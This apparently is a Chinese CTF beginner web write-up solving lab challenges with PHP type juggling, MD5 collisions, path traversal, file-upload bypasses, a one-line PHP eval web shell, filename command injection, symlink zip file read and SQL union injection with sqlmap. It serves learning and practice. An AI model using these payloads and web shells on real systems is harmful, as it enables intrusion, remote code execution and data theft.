[{"data":1,"prerenderedAt":3364},["ShallowReactive",2],{"content:\u002F2026\u002Fctf-web-wp":3,"surround:\u002F2026\u002Fctf-web-wp":3353},{"id":4,"title":5,"body":6,"categories":3330,"date":3332,"description":3333,"draft":3334,"extension":3335,"image":3336,"meta":3337,"navigation":3339,"path":3340,"permalink":3341,"published":3341,"readingTime":3342,"recommend":3341,"references":3341,"seo":3347,"sitemap":3348,"stem":3349,"tags":3350,"type":3351,"updated":3332,"__hash__":3352},"content\u002Fposts\u002F2026\u002F青岑CTF Web入门 WP.md","青岑CTF Web入门 WP",{"type":7,"value":8,"toc":3210},"minimark",[9,14,18,22,25,43,47,54,58,65,69,80,84,87,97,100,104,107,111,122,126,141,145,156,160,174,178,187,226,230,233,237,240,244,263,271,275,278,282,285,293,297,305,312,316,322,325,331,337,341,347,364,369,373,379,405,419,423,429,433,439,443,449,453,458,462,465,473,477,482,486,490,494,500,504,514,518,522,526,530,534,538,542,546,553,559,563,566,574,577,580,584,587,595,598,602,605,649,703,710,714,717,721,725,729,733,740,744,759,763,782,786,796,800,803,809,813,824,830,833,837,844,850,857,863,894,898,901,907,910,913,921,924,930,933,939,942,948,951,957,960,966,969,975,979,985,989,992,998,1002,1009,1015,1019,1026,1032,1036,1041,1047,1051,1057,1063,1070,1076,1080,1083,1089,1093,1100,1106,1110,1113,1119,1123,1128,1134,1138,1144,1150,1154,1159,1165,1169,1172,1178,1182,1185,1191,1195,1198,1204,1208,1211,1217,1220,1226,1229,1232,1238,1242,1245,1251,1255,1258,1264,1268,1271,1277,1281,1285,1293,1297,1301,1307,1318,1324,1328,1331,1337,1340,1346,1349,1355,1359,1365,1368,1374,1378,1381,1387,1390,1396,1400,1403,1409,1412,1418,1422,1425,1431,1434,1440,1444,1447,1453,1457,1460,1466,1469,1475,1478,1482,1489,1493,1504,1508,1519,1523,1526,1530,1534,1538,1542,1546,1549,1555,1562,1566,1569,1575,1579,1586,1592,1599,1603,1606,1612,1616,1622,1633,1636,1642,1646,1652,1668,1670,1676,1680,1686,1709,1747,1769,1810,1812,1818,1822,1828,1846,1883,1910,1936,1965,1995,1997,2003,2007,2013,2038,2063,2102,2136,2163,2165,2171,2175,2181,2201,2235,2263,2287,2316,2339,2341,2347,2351,2357,2376,2416,2441,2462,2481,2483,2489,2493,2499,2510,2516,2552,2585,2588,2594,2605,2614,2620,2644,2661,2678,2691,2697,2720,2742,2744,2750,2756,2762,2765,2771,2790,2793,2799,2821,2843,2875,2905,2922,2957,2982,2984,2990,2994,3004,3008,3019,3023,3029,3033,3039,3043,3049,3053,3059,3063,3069,3073,3087,3091,3096,3100,3105,3109,3112,3118,3121,3127,3134,3140,3144,3150,3154,3160,3166,3173,3176,3181,3187,3196,3200],[10,11,13],"h2",{"id":12},"basic","BASIC",[15,16,17],"p",{},"F12 进入控制台，搜索 flag 即可。",[10,19,21],{"id":20},"basic_1","BASIC_1",[15,23,24],{},"F12 、Ctrl + Shift + J 、Ctrl + Shift + I 、Ctrl + U 都被禁了，有几种方法：",[26,27,28,37,40],"ol",{},[29,30,31,32,36],"li",{},"url 输入：",[33,34,35],"code",{"code":35},"edge:\u002F\u002Fsettings\u002Fcontent\u002Fjavascript","，进入设置，禁用该网页的 js 功能，然后 f12 。",[29,38,39],{},"bp 抓包，然后发送到 Repeater ，发送后找 flag 。",[29,41,42],{},"chrome 打开，工具栏中有开发者工具。",[10,44,46],{"id":45},"basic_2","BASIC_2",[15,48,49,50,53],{},"F12 没找到啥东西，随便填点提交，网络里面有个包，看下负载多了一个",[33,51,52],{"code":52},"is_admin"," 字段，数值还是 0 ，找到该字段的值，改成1，提交拿到 flag 。",[10,55,57],{"id":56},"basic_3","BASIC_3",[15,59,60,61,64],{},"进入控制台，源码里面有一个",[33,62,63],{"code":63},"password"," 参数，这是 JSFuck 代码混淆，拿到控制台执行一下，得到密码，输入提交即可。",[10,66,68],{"id":67},"basic_4","BASIC_4",[15,70,71,72,75,76,79],{},"源码有个 js 文件，代码审计一下，重点的",[33,73,74],{"code":74},"return String.fromCharCode.apply(null, a);"," 这句，会把 _0 转换成字符串",[33,77,78],{"code":78},"QCCTF_VIP_2026","，并且后面校验输入的是不是这个，所以只需输入这个字符串就行。",[10,81,83],{"id":82},"basic_5","BASIC_5",[15,85,86],{},"直接答一千道太麻烦了，看看源代码。发现它直接把和后端的交互写出来了，我们可以构造分数直接为 1000 ，然后发给 \u002Fclaim ，直接执行。",[88,89,95],"pre",{"className":90,"code":92,"language":93,"meta":94},[91],"language-javascript","function encryptData(obj) {\n    const jsonString = JSON.stringify(obj);\n    return btoa(unescape(encodeURIComponent(jsonString)));\n}\n\nfunction decryptData(encodedString) {\n    const jsonString = decodeURIComponent(escape(atob(encodedString)));\n    return JSON.parse(jsonString);\n}\n\nconst payload = {score:1000};\n\nfetch('\u002Fclaim',{\n    method:'POST',\n    headers:{\n        'Content-Type':'application\u002Fjson'\n    },\n    body:JSON.stringify({\n        data:encryptData(payload)\n    })\n})\n.then(res=>res.json())\n.then(res=>{\n    console.log(\"服务器返回:\",res);\n\n    if(res.data){\n        console.log(\"解密结果:\",decryptData(res.data));\n    }\n});\n","javascript","",[33,96,92],{"__ignoreMap":94},[15,98,99],{},"这里由于返回的是经过加密的，所以得加一步解密。",[10,101,103],{"id":102},"basic_6","BASIC_6",[15,105,106],{},"提示要抓包，然后看响应头，找到 flag 。",[10,108,110],{"id":109},"basic_7","BASIC_7",[15,112,113,114,117,118,121],{},"打开是个拼图小游戏，挺简单的直接拼好，题目说了就让看一眼，应该得抓包，bp 抓一下没 flag ，但是看到返回的有一个",[33,115,116],{"code":116},"Location: \u002Fvault.php"," ，试试访问这个，但是直接跳转到了",[33,119,120],{"code":120},"decoy.php"," ，并且没 flag ，试试用 bp ，在响应包找到 flag 。",[10,123,125],{"id":124},"basic_8","BASIC_8",[15,127,128,129,132,133,136,137,140],{},"根据提示能想到 ",[33,130,131],{"code":131},"\u002Findex.phps"," ，可以看到源码，flag 的逻辑在最后，直接",[33,134,135],{"code":135},"a=QCyYdS"," 就行。类似的还有",[33,138,139],{"code":139},"config.phps、flag.phps","  。",[10,142,144],{"id":143},"basic_9","BASIC_9",[15,146,147,148,151,152,155],{},"这提示一看就是",[33,149,150],{"code":150},"robots.txt"," ，然后进入",[33,153,154],{"code":154},"qcq.php","，拿到十六进制，转一下。",[10,157,159],{"id":158},"basic_10","BASIC_10",[15,161,162,163,151,166,169,170,173],{},"这道题是",[33,164,165],{"code":165},"sitemap.xml",[33,167,168],{"code":168},"wqw.php"," ，得改成",[33,171,172],{"code":172},"admin"," 。",[10,175,177],{"id":176},"basic_11","BASIC_11",[15,179,180,181,183,184,173],{},"用 dirsearch ，但是没扫出来就离谱，还有",[33,182,150],{"code":150}," ，点开才发现被骗了。没办法，只能问问做出来的师傅，是在",[33,185,186],{"code":186},"fl4g.php",[188,189,190,197,207,213,223],"ul",{},[29,191,192,193,196],{},"常用格式：",[33,194,195],{"code":195},"python3 dirsearch.py -u \u003C目标URL> [选项]","；",[29,198,199,202,203,206],{},[33,200,201],{"code":201},"-e"," 指定扩展名（如 ",[33,204,205],{"code":205},"-e php,html,txt","）；",[29,208,209,212],{},[33,210,211],{"code":211},"-w"," 指定字典文件，不指定则用默认字典；",[29,214,215,218,219,222],{},[33,216,217],{"code":217},"-x"," 排除状态码（如 ",[33,220,221],{"code":221},"-x 403,404","）可减少无效结果。",[29,224,225],{},"扫描结果会列出存在的路径与状态码，便于发现隐藏文件或后台。",[10,227,229],{"id":228},"basic_12","BASIC_12",[15,231,232],{},"id 那里可以爆破，从1到1000，121的时候长度不一样，有 flag 。",[10,234,236],{"id":235},"basic_13","BASIC_13",[15,238,239],{},"还是爆破，密码是 admin123 。",[10,241,243],{"id":242},"basic_14","BASIC_14",[15,245,246,247,250,251,254,255,258,259,262],{},"直接传",[33,248,249],{"code":249},"\u002Fadmin_secret.txt"," 肯定是不行的，重点是 fopen 函数，在 Linux 中，每打开一个文件，内核都会分配一个文件描述符 ",[33,252,253],{"code":253},"0 -> stdin"," 标准输入，",[33,256,257],{"code":257},"fd 1 -> stdout"," 标准输出，",[33,260,261],{"code":261},"2 -> stderr"," 标准错误，所以从3开始试，5的时候拿到 flag 。",[88,264,269],{"className":265,"code":267,"language":268,"meta":94},[266],"language-bash","\u002Fproc\u002Fself\u002Ffd\u002F5\n","bash",[33,270,267],{"__ignoreMap":94},[10,272,274],{"id":273},"ezrequest","EZREQUEST",[15,276,277],{},"简单的传参，先 GET 再 POST 就行。",[10,279,281],{"id":280},"ezrequest_1","EZREQUEST_1",[15,283,284],{},"比上一关多了一些，加上这些就行了。",[88,286,291],{"className":287,"code":289,"language":290,"meta":94},[288],"language-http","X-Forwarded-For: 127.0.0.1\nUser-Agent: QingcenSafe\nVia: xujinyingcangming.top\nuser=admin\n","http",[33,292,289],{"__ignoreMap":94},[10,294,296],{"id":295},"ezphp","EZPHP",[88,298,303],{"className":299,"code":301,"language":302,"meta":94},[300],"language-php","\u003C?php\nshow_source(__FILE__);\ninclude(\"flag.php\");\n$a=@$_GET['a'];\n$b=@$_GET['b'];\nif($a and $a==0){\n    if(is_numeric($b)){\n        exit(\"nono\");\n    }else{\n        if($b>2026){\n            echo $flag;\n        }\n    }\n}else{\n    exit(\"no\");\n}\n?>\n","php",[33,304,301],{"__ignoreMap":94},[15,306,307,308,311],{},"简单的特性，",[33,309,310],{"code":310},"a=0a&b=9999c","。",[10,313,315],{"id":314},"ezphp_1","EZPHP_1",[88,317,320],{"className":318,"code":319,"language":302,"meta":94},[300],"\u003C?php\nshow_source(__FILE__);\ninclude(\"flag.php\");\nif (!isset($_GET['qc']) || $_GET['qc'] === '') exit(\"no\");\n$qc = (array)json_decode($_GET['qc'], true);\n$key = array_search(\"QCCTF\", $qc);\nif($key === 1){\n    echo $flag;\n}else{\n    exit(\"no\");\n}\n?>\n",[33,321,319],{"__ignoreMap":94},[15,323,324],{},"重点是这两个函数。",[88,326,329],{"className":327,"code":328,"language":302,"meta":94},[300],"json_decode() 可以对JSON字符串转换为PHP变量，默认返回对象，第二个参数为true时返回数组。本题中还有array类型强制转换，变成数组。最外侧用单引号包裹，里面的键值对用双引号包裹，才能正常解析，否则会返回null。\narray_search() 是 PHP 里的数组搜索函数，作用是在数组中查找某个值，并返回它的键。第三个参数默认false，如果该参数被设置为true，则函数在数组中搜索数据类型和值都一致的元素。\n",[33,330,328],{"__ignoreMap":94},[15,332,333,334,311],{},"所以",[33,335,336],{"code":336},"qc=[\"a\",\"QCCTF\"]",[10,338,340],{"id":339},"ezphp_2","EZPHP_2",[88,342,345],{"className":343,"code":344,"language":302,"meta":94},[300],"\u003C?php\nshow_source(__FILE__);\ninclude(\"flag.php\");\nif (!isset($_GET['qc']) || $_GET['qc'] === '') exit(\"no\");\n$qc = (array)json_decode($_GET['qc'], true);\nif (!isset($qc[\"n\"]) || !is_array($qc[\"n\"]) || empty($qc[\"n\"])) die(\"no\");\nif (array_search(\"QCCTF\", $qc) === false) die(\"no...\");\nif (array_search(\"QCyyds\", $qc[\"n\"]) === false) die(\"no...\");\nforeach ($qc[\"n\"] as $val) {\n    if ($val === \"QCyyds\") die(\"no......\");\n}\necho $flag;\n",[33,346,344],{"__ignoreMap":94},[26,348,349,352,355,358,361],{},[29,350,351],{},"qc 存在且不为空。",[29,353,354],{},"键为 n 的值存在，为数组，不为空。",[29,356,357],{},"qc 有 QCCTF 的值。",[29,359,360],{},"键为 n 的值有 QCyyds 的值，弱比较。",[29,362,363],{},"键为 n 的值没有 QCyyds 的值，严格比较。",[15,365,333,366],{},[33,367,368],{"code":368},"qc={\"n\":[true,1],\"a\":\"QCCTF\"}",[10,370,372],{"id":371},"ezphp_3","EZPHP_3",[88,374,377],{"className":375,"code":376,"language":302,"meta":94},[300],"\u003C?php\nheader('Content-type:text\u002Fhtml;charset=utf-8');\nerror_reporting(0);\n\nhighlight_file(__FILE__);\ninclude_once('flag.php');\nif(isset($_GET['qc'])&&preg_match('\u002F^Welcome to QingCen 2026!$\u002Fi', $_GET['qc']) && $_GET['qc'] !== 'Welcome to QingCen 2026!') {\n    if (intval($_GET['lover']) \u003C 2025 && intval($_GET['lover'] + 3) > 2026) {\n        if (isset($_POST['Q']) && $_POST['C']) {\n            $array1 = (string)$_POST['Q'];\n            $array2 = (string)$_POST['C'];\n            if (sha1($array1) === sha1($array2)) {\n                if (isset($_POST['ZJZ_QingCen.2026']) && $_POST['ZJZ_QingCen.2026'] === \"Happy to see you!\") {\n                    echo $flag;\n                } else {\n                    echo \"再绕最后一步吧\";\n                }\n            } else {\n                echo \"好哩，快拿到flag啦\";\n            }\n        } else {\n            echo \"这里绕不过去，QingCen可不答应了哈\";\n        }\n    } else {\n        echo \"嘿嘿嘿，你别急啊\";\n    }\n}else {\n    echo \"不会吧不会吧，不会第一步就卡住了吧，ZJZ会瞧不起你的！\";\n}\n",[33,378,376],{"__ignoreMap":94},[26,380,381,390,393,396],{},[29,382,383,384,387,388,173],{},"qc 存在，忽略大小写是",[33,385,386],{"code":386},"Welcome to QingCen 2026!","，不等于",[33,389,386],{"code":386},[29,391,392],{},"lover 转数字小于2025，加 3 大于2026。",[29,394,395],{},"Q C 用 POST 传参，并且 sha1 后严格相等。",[29,397,398,401,402,173],{},[33,399,400],{"code":400},"ZJZ_QingCen.2026"," 用 POST 传参，严格等于 ",[33,403,404],{"code":404},"Happy to see you!",[15,406,407,408,411,412,415,416,311],{},"只有最后一步变量名要改一下，原因可以看",[33,409,410],{"code":410},"EZPOP_8","那道题，所以",[33,413,414],{"code":414},"qc=welcome to QingCen 2026!&lover=2024","，POST 传",[33,417,418],{"code":418},"Q=a&C=a&ZJZ[QingCen.2026=Happy to see you!",[10,420,422],{"id":421},"ezmd5","EZMD5",[15,424,425,426,173],{},"只要让 QC 转 string 后的 md5 值等于给的值就行， ",[33,427,428],{"code":428},"QC = QNKCDZO",[10,430,432],{"id":431},"ezmd5_1","EZMD5_1",[15,434,435,436,173],{},"要求 a b 不相等，且 a b 的md5 值相等，可以用",[33,437,438],{"code":438},"a=QNKCDZO&b=240610708",[10,440,442],{"id":441},"ezmd5_2","EZMD5_2",[15,444,445,446,311],{},"加了限制，前两位不能是 0e ，用数组绕过，",[33,447,448],{"code":448},"a[]=1&b[]=2",[10,450,452],{"id":451},"ezmd5_3","EZMD5_3",[15,454,455,456,173],{},"上道题还能用，",[33,457,448],{"code":448},[10,459,461],{"id":460},"ezmd5_4","EZMD5_4",[15,463,464],{},"要求最后六位是 d54e23 ，写个脚本爆破一下。",[88,466,471],{"className":467,"code":469,"language":470,"meta":94},[468],"language-python","import hashlib\nfor i in range(1,1000000000):\n    print(i)\n    if hashlib.md5(str(i).encode()).hexdigest()[-6:] == \"d54e23\":\n        print(\"------------------------------------------\",i)\n        break\n\n","python",[33,472,469],{"__ignoreMap":94},[10,474,476],{"id":475},"ezmd5_5","EZMD5_5",[15,478,479,480,311],{},"同样的数组绕过，",[33,481,448],{"code":448},[10,483,485],{"id":484},"ezmd5_6","EZMD5_6",[15,487,479,488,311],{},[33,489,448],{"code":448},[10,491,493],{"id":492},"ezmd5_7","EZMD5_7",[15,495,496,497,311],{},"这道题不能用数组绕过了，",[33,498,499],{"code":499},"a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2",[10,501,503],{"id":502},"ezfl","EZFL",[15,505,506,507,510,511,311],{},"打开文件是在 url 里面改 file 参数，试试路径穿越，",[33,508,509],{"code":509},"file=pages\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd"," 可以，读",[33,512,513],{"code":513},"file=pages\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fflag.txt",[10,515,517],{"id":516},"ezfl_1","EZFL_1",[10,519,521],{"id":520},"ezfl_2","EZFL_2",[10,523,525],{"id":524},"ezfl_3","EZFL_3",[10,527,529],{"id":528},"ezfl_4","EZFL_4",[10,531,533],{"id":532},"ezfl_5","EZFL_5",[10,535,537],{"id":536},"ezfl_6","EZFL_6",[10,539,541],{"id":540},"ezfl_7","EZFL_7",[10,543,545],{"id":544},"ezfu","EZFU",[15,547,548,549,552],{},"这个没有过滤，直接传一句话木马，拿到地址访问，然后直接",[33,550,551],{"code":551},"a=phpinfo();"," 就能看到 flag 。",[88,554,557],{"className":555,"code":556,"language":302,"meta":94},[300],"\u003C?php @eval($_GET['a']);?>\n",[33,558,556],{"__ignoreMap":94},[10,560,562],{"id":561},"ezfu_1","EZFU_1",[15,564,565],{},"直接不能选别的类型了，应该是前端有限制，看下源码。",[88,567,572],{"className":568,"code":570,"language":571,"meta":94},[569],"language-html","accept=\"image\u002Fjpeg,image\u002Fjpg,image\u002Fpng,image\u002Fgif,image\u002Fwebp\" required>\n","html",[33,573,570],{"__ignoreMap":94},[15,575,576],{},"accept 表示前端限制允许选择的文件类型，这里有限制，后面还有 JS 检查，先把 html  的删去，然后禁用 JS 就行了。",[15,578,579],{},"或者用 bp ，先上传一个 jpg 的一句话木马，然后抓包改回 php 。",[10,581,583],{"id":582},"ezfu_2","EZFU_2",[15,585,586],{},"正常传会报错，文件类型不允许，传 shell.jpg 的也报错，内容也有过滤，用 bp 抓个包，爆破一下后缀。",[88,588,593],{"className":589,"code":591,"language":592,"meta":94},[590],"language-txt","php\nphp3\nphp4\nphp5\nphp7\nphp8\nphtml\npht\nphtm\nphar\n","txt",[33,594,591],{"__ignoreMap":94},[15,596,597],{},"phtml 可以，拿到路径传参。",[10,599,601],{"id":600},"ezfu_3","EZFU_3",[15,603,604],{},"传 shell.php 报错，传 shell.jpg 文件头不对。",[606,607,608,621],"table",{},[609,610,611],"thead",{},[612,613,614,618],"tr",{},[615,616,617],"th",{},"类型",[615,619,620],{},"开头十六进制编码",[622,623,624,633,641],"tbody",{},[612,625,626,630],{},[627,628,629],"td",{},"png",[627,631,632],{},"89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52",[612,634,635,638],{},[627,636,637],{},"jpg",[627,639,640],{},"FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C",[612,642,643,646],{},[627,644,645],{},"gif",[627,647,648],{},"47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33",[606,650,651,661],{},[609,652,653],{},[612,654,655,658],{},[615,656,657],{},"文件扩展名",[615,659,660],{},"Mime-Type",[622,662,663,671,679,687,695],{},[612,664,665,668],{},[627,666,667],{},".js",[627,669,670],{},"application\u002Fx-javascript",[612,672,673,676],{},[627,674,675],{},".html",[627,677,678],{},"text\u002Fhtml",[612,680,681,684],{},[627,682,683],{},".jpg",[627,685,686],{},"image\u002Fjpeg",[612,688,689,692],{},[627,690,691],{},".png",[627,693,694],{},"image\u002Fpng",[612,696,697,700],{},[627,698,699],{},".pdf",[627,701,702],{},"application\u002Fpdf",[15,704,705,706,709],{},"在开头加上这个，用 gif 就行，但是说",[33,707,708],{"code":708},"MIME type"," 有问题，在 HTTP 协议中,使用 Content-Type 字段表示文件的 MIME 类型，当我们上传文件的时候，抓到 HTTP 数据包，由于服务器在检测 Content-Type 类型的时候，取得的变量来自于用户，所以可以用 Burp 抓包，修改这个字段，使其合法，即可绕过限制上传任意文件，然后爆破后缀，拿到路径传参，这里的 php7 php8 还用不了，换一个。",[10,711,713],{"id":712},"ezfu_4","EZFU_4",[15,715,716],{},"文件类型、文件头、MIME type 都有检查，爆破一下，",[10,718,720],{"id":719},"ezfu_5","EZFU_5",[10,722,724],{"id":723},"ezfu_6","EZFU_6",[10,726,728],{"id":727},"ezfu_7","EZFU_7",[10,730,732],{"id":731},"ezfu_8","EZFU_8",[15,734,735,736,739],{},"类型、内容都有检查，不能有 php 标签，大写也不行， 标签可以用 ",[33,737,738],{"code":738},"\u003C?="," 绕过，后缀爆破了一下都不行，",[10,741,743],{"id":742},"ezfu_9","EZFU_9",[15,745,746,747,750,751,754,755,758],{},"进入 login.php ，账号有了，密码提示在 \u002Fetc ，点击查看公告，url 多了个",[33,748,749],{"code":749},"doc=notice.txt","，试试路径穿越，",[33,752,753],{"code":753},"doc=..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd"," ，找到密码",[33,756,757],{"code":757},"Oh54Ga6otE01"," ，直接传一个 bz2 ，没有限制还返回了路径，传一句话木马传参就行。",[10,760,762],{"id":761},"ezfu_10","EZFU_10",[15,764,765,766,769,770,773,774,777,778,781],{},"弱口令",[33,767,768],{"code":768},"admin\u002F123456"," 登录，题目提示 include() 解压恢复，由于 PHP 内核内置了 ",[33,771,772],{"code":772},"compress.zlib:\u002F\u002F"," 和 ",[33,775,776],{"code":776},"compress.bzip2:\u002F\u002F"," 包装器，打开文件时自动检测魔术字节，匹配了就套上去，所以传 gzip 和 bzip2 直接解压并且包含，我们构造",[33,779,780],{"code":780},"\u003C?php system('cat \u002Fflag');?>"," 然后压缩上传就行，注意文件名不要有 php 。",[10,783,785],{"id":784},"ezfu_11","EZFU_11",[15,787,788,789,792,793,173],{},"传的时候没限制，路径的文件名都没改，访问发现404，直接用 bp 一直传，然后访问传参，",[33,790,791],{"code":791},"phpinfo()"," 没 flag ，用 ",[33,794,795],{"code":795},"system('cat flag');",[10,797,799],{"id":798},"ezfu_12","EZFU_12",[15,801,802],{},"这个比上一题多了一关，它把路径改了，没办法直接访问，得用个脚本把路径读出来访问。",[88,804,807],{"className":805,"code":806,"language":470,"meta":94},[468],"import requests\n\nurl = \"http:\u002F\u002Fdocker.qingcen.net:43215\u002F\"\n\npayload = \"\u003C?php echo file_get_contents('\u002Fflag');?>\"\n\nfiles = {\n    \"image\": (\n        \"1.php\",\n        payload,\n        \"image\u002Fpng\"\n    )\n}\n\ns = requests.Session()\n\nr = s.post(\n    url,\n    files=files\n)\n\nprint(\"[+] 上传返回:\")\nprint(r.text)\n\ndata = r.json()\n\nif data.get(\"success\"):\n\n    path = data[\"file_url\"]\n\n    print(\"[+] 文件路径:\")\n    print(path)\n\n    target = url.rstrip(\"\u002F\") + \"\u002F\" + path.lstrip(\"\u002F\")\n\n    print(\"[+] 访问:\")\n    print(target)\n\n    r2 = s.get(target)\n\n    print(\"[+] flag:\")\n    print(r2.text)\n\nelse:\n    print(\"上传失败\")\n",[33,808,806],{"__ignoreMap":94},[10,810,812],{"id":811},"ezfu_13","EZFU_13",[15,814,815,816,819,820,823],{},"有关压缩包的，先随便传个 flag.txt 的压缩包，然后下载的时候抓个包，",[33,817,818],{"code":818},"GET \u002Fdownload.php?id=ac3fcdf91a2d4a11&file=flag.txt"," ，能不能路径穿越呢？试了试发现不行，应该是读取时作了检查，发现不在解压目录，和压缩包文件下载有关的还有一个符号链接读取任意文件，试一下",[33,821,822],{"code":822},"\u002Fetc\u002Fpasswd"," ，可以读取，下面替换成 flag 就行。这里找了好久，试了一堆也不对，实在没办法了丢给 AI 才发现 flag 在源代码里说了，真是气死我了，用下面的命令就行。",[88,825,828],{"className":826,"code":827,"language":268,"meta":94},[266],"ln -s \u002FC000000quer.txt flag_link\nzip --symlinks exploit.zip flag_link\n",[33,829,827],{"__ignoreMap":94},[15,831,832],{},"然后上传下载就行。",[10,834,836],{"id":835},"ezfu_14","EZFU_14",[15,838,839,840,843],{},"传一个 jpg 图片，返回了路径和一些图片信息，接着传个 php ，发现直接不能选，应该是前端有限制，F12 看一下说有备份，",[33,841,842],{"code":842},"index.php.bak"," 这个有，代码审计一下。",[88,845,848],{"className":846,"code":847,"language":302,"meta":94},[300],"\u003C?php\nerror_reporting(0);\n\n$message = '';\n$details = [];\n$uploadedName = '';\n\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n    if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {\n        $message = 'Upload failed. Please choose another photo.';\n    } else {\n        $uploadedName = $_FILES['photo']['name'];\n        $extension = strtolower(pathinfo($uploadedName, PATHINFO_EXTENSION));\n\n        if ($extension !== 'jpg') {\n            $message = 'Only .jpg photos can enter the archive.';\n        } else {\n            $target = __DIR__ . '\u002Fuploads\u002F' . $uploadedName;\n\n            if (!move_uploaded_file($_FILES['photo']['tmp_name'], $target)) {\n                $message = 'The archive could not store this photo.';\n            } else {\n                chdir(__DIR__);\n                $command = 'file uploads\u002F' . $uploadedName . ' 2>&1';\n                exec($command, $details, $status);\n                $message = $status === 0\n                    ? 'Photo archived. The darkroom report is ready.'\n                    : 'Photo archived, but the darkroom report looks unusual.';\n            }\n        }\n    }\n}\n?>\n\n",[33,849,847],{"__ignoreMap":94},[15,851,852,853,856],{},"要求 POST 提交，并且后缀转小写必须是 jpg ，然后移动图片到 uploads 目录，",[33,854,855],{"code":855},"_DIR_"," 表示当前目录。",[88,858,861],{"className":859,"code":860,"language":302,"meta":94},[300],"$command = 'file uploads\u002F' . $uploadedName . ' 2>&1';\nexec($command, $details, $status);\n$message = $status === 0\n   ? 'Photo archived. The darkroom report is ready.'\n   ? 'Photo archived, but the darkroom report looks unusual.';\n",[33,862,860],{"__ignoreMap":94},[15,864,865,866,869,870,873,874,877,878,881,882,885,886,889,890,893],{},"这个是关键，它直接把文件名拼接到命令中执行，然后把报错也输出，同时命令执行成功返回",[33,867,868],{"code":868},"Photo archived. The darkroom report is ready."," ，失败返回",[33,871,872],{"code":872},"Photo archived, but the darkroom report looks unusual.","。所以我们可以在文件名中拼接别的语句，然后在 exec 时命令执行，用",[33,875,876],{"code":876},"a$(whoami).jpg"," 试试，可以执行，接着读 flag ，试试 env ，但是这里直接 ",[33,879,880],{"code":880},"a$(env).jpg"," 有空格会被当成 file 的参数，换成",[33,883,884],{"code":884},"a$(env|base64).jpg"," 可以，但是返回的是",[33,887,888],{"code":888},"FLAG=no_FLAG"," ，接着读，ls 看一下，发现还有一个文件，读一下",[33,891,892],{"code":892},"a$(cat pigeon_cat.php).jpg"," 拿到 flag 。",[10,895,897],{"id":896},"ezsql","EZSQL",[15,899,900],{},"2026001 可以正常回显，先判断一下什么闭合方式，可以用 BP 爆破一下。",[88,902,905],{"className":903,"code":904,"language":592,"meta":94},[590],"2026001 and 1=1 -- \n2026001 and 1=2 -- \n2026001' and 1=1 -- \n2026001' and 1=2 -- \n2026001\" and 1=1 -- \n2026001\" and 1=2 -- \n2026001) and 1=1 -- \n2026001) and 1=2 -- \n2026001') and 1=1 -- \n2026001') and 1=2 -- \n2026001\") and 1=1 -- \n2026001\") and 1=2 -- \n2026001)) and 1=1 -- \n2026001)) and 1=2 -- \n2026001')) and 1=1 -- \n2026001')) and 1=2 -- \n2026001\")) and 1=1 -- \n2026001\")) and 1=2 -- \n2026001))) and 1=1 -- \n2026001))) and 1=2 -- \n2026001'))) and 1=1 -- \n2026001'))) and 1=2 -- \n2026001\"))) and 1=1 -- \n2026001\"))) and 1=2 --\n",[33,906,904],{"__ignoreMap":94},[15,908,909],{},"回显长度不一样的就是，判断出来时数字型。",[15,911,912],{},"判断列数，是 4 列。",[88,914,919],{"className":915,"code":917,"language":918,"meta":94},[916],"language-sql","2026001 order by 3#\n2026001 order by 4#\n2026001 order by 5#\n","sql",[33,920,917],{"__ignoreMap":94},[15,922,923],{},"判断回显，都是回显位。",[88,925,928],{"className":926,"code":927,"language":918,"meta":94},[916],"-1 union select 1,2,3,4#\n",[33,929,927],{"__ignoreMap":94},[15,931,932],{},"查库名，uesr 。",[88,934,937],{"className":935,"code":936,"language":918,"meta":94},[916],"-1 union select 1,2,3,group_concat(schema_name) from information_schema.schemata#\n",[33,938,936],{"__ignoreMap":94},[15,940,941],{},"查表名，flag 和 students 。",[88,943,946],{"className":944,"code":945,"language":918,"meta":94},[916],"-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'user'#\n",[33,947,945],{"__ignoreMap":94},[15,949,950],{},"查字段，id 和 secret 。",[88,952,955],{"className":953,"code":954,"language":918,"meta":94},[916],"-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema = 'user' and table_name = 'flag'#\n",[33,956,954],{"__ignoreMap":94},[15,958,959],{},"读取 flag 。",[88,961,964],{"className":962,"code":963,"language":918,"meta":94},[916],"-1 union select 1,2,group_concat(id),group_concat(secret) from user.flag#\n",[33,965,963],{"__ignoreMap":94},[15,967,968],{},"当然用 Sqlmap 也是可以的。",[88,970,973],{"className":971,"code":972,"language":918,"meta":94},[916],"python sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:36906\u002F?id=1\" --batch\nunion 或者 时间盲注都可以\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:36906\u002F?id=999999\" --random-agent --dbs\n查库名\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:36906\u002F?id=999999\" --random-agent -D user --tables\n查表名\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:36906\u002F?id=999999\" --random-agent -D user -T flag --columns\n查字段\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:36906\u002F?id=999999\" --random-agent -D user -T flag --dump\n查 flag 